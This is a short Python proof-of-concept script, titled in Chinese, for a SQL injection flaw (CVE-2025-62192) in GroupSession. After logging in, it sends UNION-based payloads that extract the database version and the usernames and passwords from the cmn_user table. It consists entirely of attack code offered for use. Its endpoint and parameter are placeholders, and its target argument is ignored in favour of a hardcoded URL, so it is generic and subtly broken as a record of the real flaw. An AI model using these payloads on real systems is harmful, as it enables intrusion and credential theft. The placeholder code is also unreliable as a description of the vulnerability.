CVE-2025-62192: GroupSession SQL注入漏洞

# CVE-2025-62192 SQL Injection PoC # Target: GroupSession Free < 5.3.0, byCloud < 5.3.3, ZION < 5.3.2 # Type: SQL Injection via authenticated user import requests import sys TARGET_URL = "http://target-groupsession.com/gsession/" LOGIN_URL = TARGET_URL + "login.do" VULN_ENDPOINT = TARGET_URL + "some_endpoint.do" # Replace with actual vulnerable endpoint def login(session, username, password): """Authenticate to GroupSession""" data = { "usr_uid": username, "usr_psw": password } resp = session.post(LOGIN_URL, data=data) return "login" not in resp.url def exploit_sqli(session, payload): """Send SQL injection payload""" headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "param": payload # Vulnerable parameter } resp = session.post(VULN_ENDPOINT, data=data, headers=headers) return resp.text def extract_db_version(session): """Extract database version using UNION-based injection""" payload = "' UNION SELECT NULL,version(),NULL--" return exploit_sqli(session, payload) def extract_users(session): """Extract user credentials""" payload = "' UNION SELECT usr_uid,usr_psw,NULL FROM cmn_user--" return exploit_sqli(session, payload) def main(): if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() if login(session, username, password): print("[+] Login successful") print("[*] Extracting database version...") version = extract_db_version(session) print(f"[+] Database version: {version}") print("[*] Extracting user data...") users = extract_users(session) print(f"[+] User data: {users}") else: print("[-] Login failed") if __name__ == "__main__": main()